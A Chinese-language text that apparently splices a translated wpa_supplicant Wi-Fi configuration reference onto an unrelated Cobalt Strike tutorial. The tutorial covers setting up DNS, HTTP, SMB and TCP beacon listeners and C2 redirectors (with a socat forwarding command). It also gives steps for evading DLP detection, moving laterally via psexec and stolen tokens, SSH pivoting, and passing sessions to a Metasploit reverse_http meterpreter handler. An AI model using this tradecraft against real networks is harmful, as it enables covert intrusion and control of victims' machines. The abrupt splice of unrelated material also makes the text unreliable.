tls_allow_md5=1 允许MD5-based 证书签名(取决于TLS库,为了足够安全这个选项默认取消)
tls_disable_time_checks=1 忽略证书有效期(这个选项要求TLS库接受认证,即使在当前它们是不能用的,即已过期或尚未生效;这个应该只作为测试目的使用)
tls_disable_session_ticket=1 取消TLS外部探测会话
tls_disable_session_ticket=0 允许使用TLS外部探测会话(注意:如果没有设置,对于EAP-TLS/PEAP/TTLS将会自动设置为1,作为一个来破坏服务器执行认证的工作区,除非EAP工作区使用参数eap_workaround=0来取消。)。对于EAP-FAST,这个参数必须设置为0(或者不设置,使用自动配置默认值)
tls_disable_tlsv1_0=1 取消使用TLSv1.0
tls_disable_tlsv1_1=1 取消使用TLSv1.1(已经发布更新的TLS版本的AAA服务器的工作区)
tls_disable_tlsv1_2=1 取消使用TLSv1.2(已经发布更新的TLS版本的AAA服务器的工作区)
以下认证/私人密匙字段将在使用EAP-TTLS 或者 EAP-PEAP 时内部第二阶段认证使用
ca_cert2:CA认证证书的文件路径。这个文件可以有一个或者多个受信任的CA认证证书。如果不包含ca_cert2 和 ca_path2 服务器认证将不会生效。这是不安全的,受信任的CA认证证书必须总是被配置。
ca_path2:CA认证证书的目录路径(PEM)
client_cert2: 客户端认证证书的文件路径
private_key2:客户端私人密匙文件路径
private_key2_passwd : 私人密码文件
dh_file2: DH/DSA参数文件路径(PEM格式)
subject_match2 : 通过子类字符串匹配认证服务器的凭证证书。查看subject_match获取相关细节信息。
altsubject_match2 : 以分号分隔字符匹配认证服务器的备用实体名。查看altsubject_match获取相关细节。
domain_suffix_match2 : 域名服务器的约束,查看domain_suffix_match获取更多细节。
fragment_size : EAP片段最大的字节长度(默认为1398)。这个值限制使用支持片段的EAP方法的片段长度(例如:EAP-TLS and EAP-PEAP)。这个值应该被设置为足够小的值来使EAP消息能够适用于使用EAPOL的MTU网络接口。在大多数情况下默认是已经是合适的值了。
ocsp : 是否使用/请求OCSP来检测服务器认证证书
0 = 不使用OCSP(外部TLS 认证状态)
1 = 尝试使用OCSP 但不是必要的请求
2 = 请求可用的OCSP
openssl_ciphers:OpenSSL指定的密码配置(这个选项可以被用于重写全局参数openssl_ciphers 往回看)
EAP-FAST 变量
wpa_supplicant允许的最大的一些围绕解决认证服务器的错误交互操作的问题工作的“EAP workaround”数量,因为目前认证服务器存在大量的某些问题,所以这些选项默认激活的。严格的一致性EAP模式可以通过使用选项eap_workaround=0 取消工作区来配置
活动站点的限制
如果一个 在ap_max_inactivity 时间内(秒)没有发送任何东西,一个空的数据帧将会发送给它来验证它是够还在搜索范围内。如果该数据帧没有收到应答ASK,这个站点将会被分离然后失去认证。这个特性当STAs移动出某个范围后,用于清理旧的实体。
在AP仍然还在范围内的情况下可以与站点取得关联;调查活性是一种验证是否存活的不错的方法;即客户端将不会在连接失败时报告,因为失去连接的信息数据帧不会在STA发送第一次调查帧后马上发送。
默认数值为:300s(即5分钟)
ap_max_inactivity=300AP模式下信标间隔的DTIM周期
dtim_period=2
信标间隔(默认为100TU)
beacon_int=100
MAC地址规则
0 = 使用永久MAC地址
1 = 使用为每个ESS连接分配随机的MAC地址
2 = 类似于参数1 但是使用唯一的标志序列OUI(有当地管理员设置)
mac_addr=0
disable_ht : 是否取消HT (802.11n)
0 = 使能HT (802.11n)(如果AP支持的话)
1 = 取消disable_ht40 : 是否取消HT-40 (802.11n)
0 = 使能HT-40 (802.11n)(如果AP支持的话)
1 = 取消HT-40 (802.11n)disable_sgi : 是否取消SGI (short guard interval短护栏间隔)
0 = 激活SGI(如果AP支持的话)
1 = 取消SGIdisable_ldpc : 是否取消LDPC
0 = 激活LDPC(如果AP支持的话)
1 = 取消LDPCht40_intolerant : 是否取消容忍40MHZ
0 = 容忍40MHZ
1 = 不容忍40MHZ* ht_mcs : 配置为允许MCS率*
解析为一个十六进制的字节数组
ht_mcs=”” // Use all available (default)默认使用所有可用的数值
ht_mcs=”0xff 00 00 00 00 00 00 00 00 00 ” // Use MCS 0-7 only只使用0-7MCS
ht_mcs=”0xff ff 00 00 00 00 00 00 00 00 ” // Use MCS 0-15 only只使用0-15MCSdisable_max_amsdu : 是否取消MAX_AMSDU
-1 = 不做任何改变
0 = 如果硬件支持的话使能MAX_AMSDU
1 = 取消 AMSDUampdu_factor : 外部最大的A-MPDU长度
数值范围:0-3,see 7.3.2.56.3 in IEEE Std 802.11n-2009.* ampdu_density : 允许重写AMPDU的密度配置*
作为提示被内核处理
-1 = 不做任何改变。
0-3 = 设置AMPDU的密度(及称为因子)为指定的值disable_vht : 是否取消VHT
0 = 激活VHT(如果AP支持的话)
1 = 取消VHTvht_capa : 设置VHT为重写功能vht_capa_mask : VHT功能的掩码vht_rx_mcs_nss_1/2/3/4/5/6/7/8: override the MCS set for RX NSS 1-8重写MCS设置为RX NSS 1-8vht_tx_mcs_nss_1/2/3/4/5/6/7/8: override the MCS set for TX NSS 1-8重写MCS设置为TX MSS 1-8
0 = MCS 0-7
1 = MCS 0-8
2 = MCS 0-9
3 = 不支持
本节的选项只在当编译hostapd时设置建立配置选项CONFIG_FST。这些选项允许这个接口成为FST步骤的一部分。
FST是从相同的或者不同的一个通道到另外一个通道的会话转移。
更多细节可以查看 IEEE Std 802.11ad-2012.
接口所属的FST标志组
fst_group_id=bond0
FST组的接口优先级
定义一个接口的更高的优先级意味着FST转换器拥有更高的优先级
fst_priority的取值范围为:1-255,当值为一时拥有最低优先级
fst_priority=100这个接口的默认LLT值(ms)这个值被用于会话建立后没有提供数值的情况,默认为50ms
fst_llt 值的范围是1- 4294967(以为spec的限制,查看10.32.2.2 状态之间的转换)
fst_llt=100
以下为网络语句块的例程:
简单的案例: WPA-PSK, PSK ASCII密文,允许所有有效密码
network={
ssid="simple"
psk="very secret passphrase"
priority=5
}
和以上类似,增加了请求SSID的特定扫描(用于拒绝广播SSID 的APs)
network={
ssid="second ssid"
scan_ssid=1
psk="very secret passphrase"
priority=2
}
只在WPA-PSK时使用,接受任何可用的密码组合
network={
ssid="example"
proto=WPA
key_mgmt=WPA-PSK
pairwise=CCMP TKIP
group=CCMP TKIP WEP104 WEP40
psk=06b4be19da289f475aa46a33cb793029d4ab3db7a23ee92382eb0106c72ac7bb
priority=2
}
使用TKIP加密算法的WPA-Personal(PSK),并且强制频繁地重置PTK密码
network={
ssid="example"
proto=WPA
key_mgmt=WPA-PSK
pairwise=TKIP
group=TKIP
psk="not so secure passphrase"
wpa_ptk_rekey=600
}
当使用WPA-EAP时。允许CCMP和TKIP加密算法。使用WEP104或者WEP40作为组密码将不会被接受
network={
ssid="example"
proto=RSN
key_mgmt=WPA-EAP
pairwise=CCMP TKIP
group=CCMP TKIP
eap=TLS
identity="user@example.com"
ca_cert="/etc/cert/ca.pem"
client_cert="/etc/cert/user.pem"
private_key="/etc/cert/user.prv"
private_key_passwd="password"
priority=1
}
使用新的peaplabel标签来进行RADIUS 服务器的EAP-PEAP/MSCHAPv2 配置(例如,辐射器)
network={
ssid="example"
key_mgmt=WPA-EAP
eap=PEAP
identity="user@example.com"
password="foobar"
ca_cert="/etc/cert/ca.pem"
phase1="peaplabel=1"
phase2="auth=MSCHAPV2"
priority=10
}
使用非加密的匿名标志的EAP-TTLS/EAP-MD5-Challenge配置,真实的标识符只在加密的TLS隧道上发送
network={
ssid="example"
key_mgmt=WPA-EAP
eap=TTLS
identity="user@example.com"
anonymous_identity="anonymous@example.com"
password="foobar"
ca_cert="/etc/cert/ca.pem"
priority=2
}
使用非加密的匿名标志的EAP-TTLS/MSCHAPv2配置,真实的标识符只在加密的TLS隧道上发送
network={
ssid="example"
key_mgmt=WPA-EAP
eap=TTLS
identity="user@example.com"
anonymous_identity="anonymous@example.com"
password="foobar"
ca_cert="/etc/cert/ca.pem"
phase2="auth=MSCHAPV2"
}
用不同的CA认证证书搭建WPA-EAP, EAP-TTLS 外部和内部认证
network={
ssid="example"
key_mgmt=WPA-EAP
eap=TTLS
# Phase1 / outer authentication
anonymous_identity="anonymous@example.com"
ca_cert="/etc/cert/ca.pem"
# Phase 2 / inner authentication
phase2="autheap=TLS"
ca_cert2="/etc/cert/ca2.pem"
client_cert2="/etc/cer/user.pem"
private_key2="/etc/cer/user.prv"
private_key2_passwd="password"
priority=2
}
支持WPA-PSK 和 WPA-EAP。只有接受CCMP作为成对分组密码
network={
ssid="example"
bssid=00:11:22:33:44:55
proto=WPA RSN
key_mgmt=WPA-PSK WPA-EAP
pairwise=CCMP
group=CCMP
psk=06b4be19da289f475aa46a33cb793029d4ab3db7a23ee92382eb0106c72ac7bb
}
SSID 中的特殊字符,使用十六进制。默认为WPA-PSK,WPA-EAP和所有可用的密文
network={
ssid=00010203
psk=000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f
}
GSM SIM 或者 USIM 的EAP-SIM
network={
ssid="eap-sim-test"
key_mgmt=WPA-EAP
eap=SIM
pin="1234"
pcsc=""
}
EAP-PSK
network={
ssid="eap-psk-test"
key_mgmt=WPA-EAP
eap=PSK
anonymous_identity="eap_psk_user"
password=06b4be19da289f475aa46a33cb793029
identity="eap_psk_user@example.com"
}
IEEE 802.1x/eapol动态生成WEP密钥(即没有WPA)使用EAP-TLS认证和密钥生成;需要单播和广播WEP密钥。
network={
ssid="1x-test"
key_mgmt=IEEE8021X
eap=TLS
identity="user@example.com"
ca_cert="/etc/cert/ca.pem"
client_cert="/etc/cert/user.pem"
private_key="/etc/cert/user.prv"
private_key_passwd="password"
eapol_flags=3
}
LEAP动态WEP密匙
network={
ssid="leap-example"
key_mgmt=IEEE8021X
eap=LEAP
identity="user"
password="foobar"
}
EAP-IKEv2 使用为服务器和对等认证共享密码
network={
ssid="ikev2-example"
key_mgmt=WPA-EAP
eap=IKEV2
identity="user"
password="foobar"
}
EAP-FAST with WPA (WPA or WPA2)
network={
ssid="eap-fast-test"
key_mgmt=WPA-EAP
eap=FAST
anonymous_identity="FAST-000102030405"
identity="username"
password="password"
phase1="fast_provisioning=1"
pac_file="/etc/wpa_supplicant.eap-fast-pac"
}network={
ssid="eap-fast-test"
key_mgmt=WPA-EAP
eap=FAST
anonymous_identity="FAST-000102030405"
identity="username"
password="password"
phase1="fast_provisioning=1"
pac_file="blob://eap-fast-pac"
}
纯文本连接(no WPA, no IEEE 802.1X)
network={
ssid="plaintext-test"
key_mgmt=NONE
}
* Shared WEP key connection共享WEP密匙连接(no WPA, no IEEE 802.1X)*
network={
ssid="static-wep-test"
key_mgmt=NONE
wep_key0="abcde"
wep_key1=0102030405
wep_key2="1234567890123"
wep_tx_keyidx=0
priority=5
}
Shared WEP key connection共享WEP密匙连接(no WPA, no IEEE 802.1X) 使用IEEE 802.11 认证共享密匙
network={
ssid="static-wep-test2"
key_mgmt=NONE
wep_key0="abcde"
wep_key1=0102030405
wep_key2="1234567890123"
wep_tx_keyidx=0
priority=5
auth_alg=SHARED
}
IBSS/ad-hoc network with RSN
network={
ssid="ibss-rsn"
key_mgmt=WPA-PSK
proto=RSN
psk="12345678"
mode=1
frequency=2412
pairwise=CCMP
group=CCMP
}
IBSS/ad-hoc network with WPA-None/TKIP (deprecated已经过时了的)
network={
ssid="test adhoc"
mode=1
frequency=2412
proto=WPA
key_mgmt=WPA-NONE
pairwise=NONE
group=TKIP
psk="secret passphrase"
}
开放匹配的网络
network={
ssid="test mesh"
mode=5
frequency=2437
key_mgmt=NONE
}
secure (SAE + AMPE) network
network={
ssid="secure mesh"
mode=5
frequency=2437
key_mgmt=SAE
psk="very secret passphrase"
}
涵盖所有允许更多或者更少的配置模式的案例
network={
ssid="example"
scan_ssid=1
key_mgmt=WPA-EAP WPA-PSK IEEE8021X NONE
pairwise=CCMP TKIP
group=CCMP TKIP WEP104 WEP40
psk="very secret passphrase"
eap=TTLS PEAP TLS
identity="user@example.com"
password="foobar"
ca_cert="/etc/cert/ca.pem"
client_cert="/etc/cert/user.pem"
private_key="/etc/cert/user.prv"
private_key_passwd="password"
phase1="peaplabel=0"
}
EAP-TLS智能卡的案例(openssl的工具)
network={
ssid="example"
key_mgmt=WPA-EAP
eap=TLS
proto=RSN
pairwise=CCMP TKIP
group=CCMP TKIP
identity="user@example.com"
ca_cert="/etc/cert/ca.pem"
client_cert="/etc/cert/user.pem"
engine=1
//这里配置的工具必须是可用的。在全局选项中查看openssl支持的工具。
//通过该引擎的密钥必须和配置上述的客户端证书的私钥匹配
//使用opensc工具
//engine_id="opensc"
//key_id="45"
//使用pkcs11 工具
engine_id="pkcs11"
key_id="id_45"
//PIN可选的配置,这个选项可以被遗漏并且PIN将会被控制接口请求
pin="1234"
如何使用内联blob作为CA认证证书的数据取代使用外部文件来配置的案例
network={
ssid="example"
key_mgmt=WPA-EAP
eap=TTLS
identity="user@example.com"
anonymous_identity="anonymous@example.com"
password="foobar"
ca_cert="blob://exampleblob"
priority=20
}
blob-base64-exampleblob={
SGVsbG8gV29ybGQhCg==
}
对于SSID通配符的匹配(只支持纯文本APs)在本例中无论SSID为和都选择任何开放的AP
network={
key_mgmt=NONE
}
配置两个在这个网络中会被忽略的APs 黑名单
network={
ssid="example"
psk="very secret passphrase"
bssid_blacklist=02:11:22:33:44:55 02:22:aa:44:55:66
}
该案例配置了AP选择时指定特定APs的限制;任何其他不匹配掩码地址的AP将会被忽略
network={
ssid="example"
psk="very secret passphrase"
bssid_whitelist=02:55:ae:bc:00:00/ff:ff:ff:ff:00:00 00:00:77:66:55:44/00:00:ff:ff:ff:ff
}
只扫描通道36 的配置案例
freq_list=5180
network={
key_mgmt=NONE
}
MACsec配置案例
network={
key_mgmt=IEEE8021X
eap=TTLS
phase2="auth=PAP"
anonymous_identity="anonymous@example.com"
identity="user@example.com"
password="secretr"
ca_cert="/etc/cert/ca.pem"
eapol_flags=0
macsec_policy=1
}
本文章向大家介绍cobalt strike笔记-listener利用手法和分析,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
一个监听器既是一个 payload 的配置信息,同时又是 Cobalt Strike 起一个服务器来接收来自这个 payload 的连接的指示。一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。
当我们创建一个监听器,确保你给他一个好记的名称。在 Cobalt Strike 的命令和工作流程中你需要使用此名称来引用此监听器。要编辑监听器,选中一个监听器,然后按 Edit 。要移除一个监听器,选中该监听器,然后按 Remove 。
有效负载字段是您要配置的有效负载/侦听器的类型:
信标DNS
信标HTTP和HTTPS
信标SMB
信标TCP
外部C2
外部HTTP和HTTPS(请参见下文)
要编辑监听器,请突出显示一个监听器,然后按Edit/编辑。
要删除监听器,请突出显示该监听器,然后按“Remove/删除”。
1.枢轴图
数据透视图以自然方式显示我们的信标链。
转到Cobalt Strike- >可视化->数据透视图以启用此视图。
每个信标会话都有一个图标。与会话表一样:每个主机的图标表示其操作系统。如果带有闪电的图标为红色,则指示信标正在以管理员权限运行。较深的图标表示信标会话被要求退出,并且它确认了此命令。
防火墙图标表示信标有效载荷的出口。绿点划线表示使用信标HTTP或HTTPS连接离开网络。黄色虚线表示使用DNS离开网络。
将一个信标会话连接到另一个信标会话的箭头表示两个信标之间的链接。Cobalt Strike的信标使用Windows命名管道和TCP套接字以对等方式控制信标。橙色箭头是命名的管道通道。SSH会话也使用橙色箭头。蓝色箭头是TCP套接字通道。红色(命名管道)或紫色(TCP)箭头表示信标链接已断开。
单击信标将其选中。可以通过在所需主机上单击并拖动一个框来选择多个信标。按Ctrl和Shift,然后单击以选择或取消选择单个信标。
右键单击“信标”以显示一个菜单,其中包含可用的开发后选项。
右键单击没有选择信标的数据透视图,以配置该图的布局。
2. Cobalt Strike 的 Beacon Payload
Cobalt Strike 的 Beacon Payload 最常见的情况是,你需要为 Cobalt Strike 的 Beacon payload 配置监听器。Beacon 是 Cobalt Strike 的 payload,用于建模高级攻击者。
使用 Beacon 来通过 HTTP,HTTPS 或 DNS 出口网络。我们也可以通过控制经由命名管道和 TCP sockets 的对等(peer-to-peer)Beacon 从而限制出口网络,只允许部分主机直接回连。
Beacon 很灵活,支持异步通信模式和交互式通信模式。异步通信效率缓慢:Beacon 会回连团队服务 器、下载其任务,然后休眠。
交互式通信是实时发生的。
Beacon 的网络流量指标具有拓展性。
可以使用 Cobalt Strike 的可拓展的 C2 语言来重新定义 Beacon 的通信。这允许你掩盖 Beacon 行动,比如使其流量看起来像其他的恶意软件,又或者将其流量掺入作 为合法流量。
要注意的是:在 Cobalt Strike 4.0 及以后的版本中,后渗透和横向移动的行为避开了 stager 并选择去尽可能的投递 一个完整的 payload。这里不多描述。
DNS信标
DNS信标是Cobalt Strike最棒的功能。此有效负载使用DNS请求将我们的信标返回给我们。这些DNS请求是针对我们的Cobalt Strike团队服务器具有权威性的域的查找。DNS响应告诉Beacon睡眠或连接到我们以下载任务。DNS响应还将告诉Beacon如何从团队服务器下载任务。
要注意:在Cobalt Strike 4.0和更高版本中,DNS信标是仅DNS的有效负载。此有效负载中没有HTTP通信模式。
DNS Beacon 可以通过 DNS TXT 记录、DNS AAAA 记录或 DNS A 记录下载任务。当其在目标上,此 payload 有在这些数据通道之间切换的灵活性。
使用 Beacon 的模式命令来改变当前 Beacon 的 数据通道。
mode dns
是 DNS A 记录数据通道;
mode dns6
是 DNS AAAA 记录数据通道;
mode dns-txt
是 DNS TXT 记录数据通道。DNS TXT 记录是默认的数据通道。
请注意,只有在有可用任务时,DNS Beacon 才能 check in。使用 checkin 命令来请求 DNS Beacon 在下次回连的时候 check in。请注意,DNS Beacon 直到有可用任务时才会 check in 使用 checkin 命令要求 DNS Beacon 在 下次回连的时候 check in。
我们都知道Beacon 会心跳回连,
那么checkin也就是 DNS 服务器发送一 个 xxx.xxx.com 的 DNS 请求,不会进行任务数据通讯,
这个时候使用 Beacon 的模式命令来改变当前 Beacon 的数据通道,然后执行 checkin 就有数据回来了。
如果执行一个其他命令,比如 whoami ,它首先会自动 check in 再执行其他命令,如果只输入 checkin 命 令,就只返回来元数据。
简单来说:check in,指的是 Beacon 回连主机,回传受害系统的元数据,准 备好进行任务数据通讯的状态。
实际意义:红蓝对抗中,可以通过DNS的方式通信,流量更加隐秘,躲避agent/DLP的检测,实现相对隐秘的渗透方式。
环境需要:CobaltStrike + 域名
1 域名解析配置
解析过程如下:
第一步:ns1.xxxxx.com-----ns------>ns.xxxxxx.com
第二部:ns.xxxxx.com------A------->VPS地址
2 Cobat Strike配置 注意:VPS防火墙53端口一定要开启
3 监听器设置
要创建一个 DNS Beacon 监听器:通过 Cobalt Strike → Listeners ,点击 Add 按钮,然后选择 Beacon DNS 作为 payload 类型。
我们可以使用【+】把一个或多个域添加到我们的beacon中,Cobalt Strike团队服务器系统必须对我们指定的域具有权威性。
创建一个DNS A记录并将其指向我们的Cobalt Strike团队服务器。使用DNS NS记录将多个域或子域委派给Cobalt Strike团队服务器的A记录。
4测试DNS配置
打开终端并输入nslookup jibberish.beacon domain。
如果收到0.0.0.0的A记录答复,则说明DNS已正确设置。
如果未收到答复,则说明DNS配置不正确,DNS信标将无法与我们通信。
5 注意
如果我们的CS在NAT设备后面,请确保将公用IP地址用于NS记录,并将防火墙设置为将端口53上的UDP流量转发到系统。Cobalt Strike包括用于控制信标的DNS服务器。
当启动一个 DNS Beacon 的时候,就相当于 Cobalt Strike 把团队服务器作为了一个 DNS 的解析 服务器。
当受害主机进行 DNS 请求的时候,就需要给53端口发包。
如果团队服务器在内网中,就需要把公网IP的53端口和内网IP做一个端口映射,
相当于把外网的53端口映射到内网的团队服 务器上去
6 流量分析
抓包: 执行whoami 抓到流量 看到DNS流量
HTTP和HTTPS信标
HTTP和HTTPS信标通过HTTP GET请求下载任务。这些信标通过HTTP POST请求将数据发送回去。
我们可以通过Malleable C2来控制此有效负载中的行为和指标。
要建立HTTP或HTTPS信标侦听器,请转到Cobalt Strike->侦听器。按添加。选择信标HTTP作为有效负载选项。
按[+]为HTTP信标添加一个或多个主机,以将其作为主目录。按[-]删除一个或多个主机。按[X]清除当前主机。如果您有多个主机,您仍然可以将逗号分隔的回调主机列表粘贴到此对话框中。
HTTP主机(stager)字段控制HTTP驿站为HTTP信标主机。仅当您将此有效负载与需要显式暂存器的攻击配对时,才使用此值。
通过 Profile 字段,你可以选择一个 C2 拓展文件变体。通过一个 C2 文件变体,你可以在一个文件中指定多个配置文件的变量。使用变体文件之后,你设置的每个 HTTP 或 HTTPS 监听器会有不同的网络
流量指标。
HTTP Port(C2) 字段设置你的 HTTP Beacon 回连的端口。HTTP Port(Bind) 字段指定你的 HTTPBeacon payload web 服务器绑定的端口。如果你要设置端口弯曲重定向器(例如,接受来自 80 或443 端口的连接但将连接路由到团队服务器开在另一个端口上的连接,这样的重定向器),那么这些选项会很有用。
如果 HTTP Host Header 值被指定了,会影响你的 HTTP stagers,并通过你的 HTTP 通信。这个选项使得通过 Cobalt Strike 利用域名前置变得更加容易。
按“ HTTP代理”字段旁边的...以为此负载指定显式代理配置。
手动的 HTTP 代理设置
勾选 Ignore proxy settings;use direct connection (忽略代理设置;使用直连)来强制Beacon 不通过代理尝试其 HTTP 和 HTTPS 请求。
当你填写好代理配置之后,点击 Set 来更新 Beacon 对话框。
点击 Reset 可以把代理配置重置为默认 行为。
注意:手动的代理设置仅影响 HTTP 和 HTTPS Beacon payload stage,不影响 payload stager。
C2 Redirectors,就是在现有的 C2 上增加一个中转服务器,这个中转服务器起到功能和流量分离 的作用,C2 流量可以被中转到不同战术意义的服务器,比如打完就走的短期 C2、需要长期控制 驻留的 C2 和邮件钓鱼服务器等。
这个 C2 重定向器相当于位于团队服务器这个控制端和失陷主机之间的中转跳板。外界只能看到 重定向器(跳板),一旦重定向器暴露可以被随时抛弃,除非重定向器被反制,否则很难追踪到 背后真正的控制者。
Cobalt Strike 的监听器管理功能支持使用重定向器。当你设置一个 HTTP 或 HTTPS Beacon 监听器的 时候,简单的指定你的重定向器 IP (在 Host 字段填入)。Cobalt Strike 不会验证这个信息。如果你 提供的 host 不隶属于当前主机(不是团队服务器的 IP),那么 Cobalt Strike
就假设它是重定向器。一种把服务器转变为重定向器的简单方法是使用 socat。下面是一句 socat 语法,作用是:将80端口上的所有连接转发到位于192.168.12.100的团队服务器的 80端口:
socat TCP4-LISTEN:80,fork TCP4:192.168.12.100:80
这里提几句:
使用socat/iptable的话流量只能全部转发到我们的cs服务器,一般在实战中我们
使用Apache重定向器作为中转服务器。
我们的C2域将指向Apache重定向器,它将执行流量过滤
例如:仅允许命令和控制(C2)流量到达我们的Cobalt Strike服务器,并将所有其他流量重定向到无害的网站
这里不多说
SMB信标
SMB信标使用命名管道通过父信标进行通信。这种对等通信与同一主机上的信标一起使用。它也可以在整个网络上运行。Windows将命名管道通信封装在SMB协议中。因此,名称为SMB Beacon。
要配置SMB信标有效负载,请转到Cobalt Strike-> Listeners。按添加。选择信标SMB作为我们的有效负载选项。
与SMB信标关联的唯一选项是管道名称。
我们可以设置一个显式管道名或接受默认选项。
SMB信标与Cobalt Strike中产生有效载荷的大多数动作兼容。
Cobalt Strike 后渗透和横向移动行为派生一个 payload,会尝试为我们承担对 SMB Beacon payload 的 控制。
如果我们手动的运行 SMB Beacon,你将需要从一个父 Beacon 链接到它。
链接和取消链接
从 Beacon 控制台,使用 link [host] [pipe] 来把当前的 Beacon 链接到一个等待连接的 SMB Beacon。当当前 Beacon check in,它的链接的对等 Beacon 也会 check in。
为了与正常流量融合,链接的 Beacon 使用 Windows 命名管道进行通信。这个流量被封装于 SMB 协 议中。
对于此方法有一些警告:
1. 具有 SMB Beacon 的主机必须接受445端口上的连接。
2. 你只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
如果在你尝试去连接到一个 Beacon 之后得到一个 error 5(权限拒绝),可以尝试这样解决:窃取域 用户的令牌或使用 make_token DOMAINuser password 来使用对于目标有效的凭据来填充你的当前 令牌,然后再次尝试去连接到 Beacon。
要销毁一个 Beacon 链接,在父会话或子会话中使用 unlink [ip address] [session PID] 。这个 [session PID] 参数是要取消链接的 Beacon 的进程 ID。
该值用于当有多个子 Beacon 时,指定一个特 定的 Beacon 来断开链接。当你对一个 SMB Beacon 取消了链接,它不会离开并消失。相反,它进入一种等待其他 Beacon 连接 的状态。你可以使用 link 命令来从将来的另一个 Beacon 恢复对 SMB Beacon 的控制。
实战手法
当我们拿下了一台边界服务器时想要横向移动时,我们可以利用SMB beacon来配合进行
1.新建一个SMB listener 并进行监听
2.选择目标利用psexec进行横向移动(具体手法看实际环境)
3.使用账号密码和SMB监听器
4.选择会话。开始利用
5.利用成功。我们可以看到:web 和 DC中有一个SMB 链接。
TCP Beacon TCP Beacon
使用一个 TCP socket 来通过一个父 Beacon 通信。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效
要配置一个 TCP Beacon payload,通过 Cobalt Strike → Listeners ,点击 Add 按钮。选择 Beacon TCP 作为你的 payload 选项。
一个绑定的 payload 会等待来自它的控制器 (在此场景中,控制器是另一个 Beacon 会话)的连接。
Port(C2) 选项控制 TCP Beacon 将等待连接 的端口。当它监听一个连接,勾选 Bind to localhost only 来使 TCP Beacon 绑定到 127.0.0.1。
如果你为仅本地的行为使用 TCP Beacon,那么这是一个很好的选项。
类似于 SMB Beacon,TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。
Cobalt Strike 后渗透和横向移动行为派生一个 payload,会尝试为你承担对 TCP Beacon payload 的控 制。
如果你手动的运行 TCP Beacon,你将需要从一个父 Beacon 链接到它
实战手法:跟SMB beacon 差不多,但是流量没有SMB隐蔽。在实战中可以根据实际情况使用。
连接和取消链接 从 Beacon 控制台,使用 connect [ip address] [port] 来把当前的 Beacon 连接到一个等待连接 的 TCP Beacon。
当当前的会话 check in,它的链接的对等 Beacon 也会 check in。
要销毁一个 Beacon 链接,在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后,你可以从同一主机(或其他主机)重新连接到 TCP Beacon。
3 SSH 会话
Cobalt Strike 使用内置的 SSH 客户端控制 UNIX 目标。
该 SSH 客户端接收任务并通过一个父 Beacon 路由其输出。
使用 ssh [target] [user] [password] 命令从一个 Beacon 中启动 SSH 会话。
你也可以使用 sshkey [target] [user] [/path/to/key.pem] 命令以使用密钥进行身份验证。
这些命令运行 Cobalt Strike 的 SSH 客户端。客户端会向父 Beacon 报告任何连接和身份验证问题。如果连接成功,你将在 Cobalt Strike 的显示中看到一个新会话。
这是一个 SSH 会话。右键单击此会话, 然后按 Interact 来打开 SSH 控制台。
输入 help 以查看 SSH 会话支持的命令列表。输入 help 后 跟一个命令名称,以获取有关该命令的详细信息。
shell 命令将运行你提供的命令和参数。运行的命令在 Cobalt Strike 将命令置于后台之前可以锁定 SSH 会话长达 20 秒。Cobalt Strike 将在可用时报告这些长时间运行的命令的输出。
使用 sudo [password] [command + arguments] 尝试通过 sudo 运行命令。这个别名要求目标的 sudo 接受 –S 标志。
cd 命令将更改 SSH 会话的当前工作目录。
pwd 命令报告当前的工作目录。
upload 命令会将文件上传到当前工作目录。
download 命令将下载文件。通过 download 命令下载 的文件可以通过 View → Downloads 查看。你也可以输入 downloads 来查看正在进行的文件下载。cancel 命令将取消正在进行的下载任务
SSH 会话可以控制 TCP Beacon。使用 connect 命令启动对一个等待连接的 TCP Beacon 的控制。使 用 unlink 断开一个 TCP Beacon 会话的连接。
通过 [session] → Listeners → Pivot Listener… 来设置一个与此 SSH 会话绑定的 pivot 监听 器。
这将允许这个失陷的 UNIX 目标可以接收反向 TCP Beacon 会话。
此选项的前提是需要 SSH 守护程 序的 GatewayPorts 选项的值被设定为 yes 或 ClientSpecified 。
SOCKS Pivoting 和反向端口转发 使用 socks 命令在团队服务器上创建一个通过 SSH 会话转发流量的 SOCKS 服务器。rportfwd 命令 还将创建一个反向端口转发,用于路由通过 SSH 会话和你的 Beacon 链的流量。
rportfwd 有一个警告:rportfwd 命令要求 SSH 守护程序绑定到所有接口(0.0.0.0)。SSH 守护程 序很可能会覆盖此设置,并强制端口绑定到 localhost。你需要将 SSH 守护程序的 GatewayPorts 选项 更改为 yes 或 ClientSpecified 。
外部/Extermal C2(第三方命令和控制)
外部C2是一个规范,允许第三方程序充当Cobalt Strike的Beacon有效载荷的通信层。这些第三方程序连接到Cobalt Strike,以读取目标帧,并使用以这种方式控制的有效负载的输出来写入帧。这些第三方程序使用外部C2服务器与Cobalt Strike团队服务器进行交互。
转到Cobalt Strike-> Listeners,按Add,然后选择External C2作为有效负载。
外部C2接口有两个选项。端口(绑定)指定外部C2服务器等待连接的端口。选中仅绑定到本地主机,以使外部C2服务器仅本地主机。
外部C2侦听器与其他Cobalt Strike侦听器不同。您无法通过Cobalt Strike的后开采行动来针对这些目标。此选项只是为了方便站立接口本身。
要了解有关外置 C2 的更多信息,请访问此文档:https://www.cobaltstrike.com/help-externalc2
Foreign Listener
Cobalt Strike 支持对外监听器的概念。这些是托管在 Metasploit 框架或其他 Cobalt Strike 实例的 x86 payload handler 的别名。要传递一个 Windows HTTPS Meterpreter 会话到一个使用 msfconsole 的朋友那里,建立一个 Foreign HTTPS payload
并将主机和端口的值指向它们的 handler。你可以在任何你想要使用 x86 Cobalt Strike 监听器 的地方使用 foreign listener(对外监听器)。
实战手法:
例如我们给一个会话MSF:
在MSF中监听一个http/https的会话:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http# msf监听的地址,因为我的机器msf和cs都在同一个机器上所以ip相同
msf5 exploit(multi/handler) > set lhost 192.168.50.146
msf5 exploit(multi/handler) > set lport 1234
msf5 exploit(multi/handler) > run
然后在CS中
端口/host 跟MSF中的一样就行
CS派生会话
那么MSF中就能看到一个session了
基础设施整合
Cobalt Strike 的分布式行动模型的基本思想是为你的每个行动阶段建立单独的团队服务器。
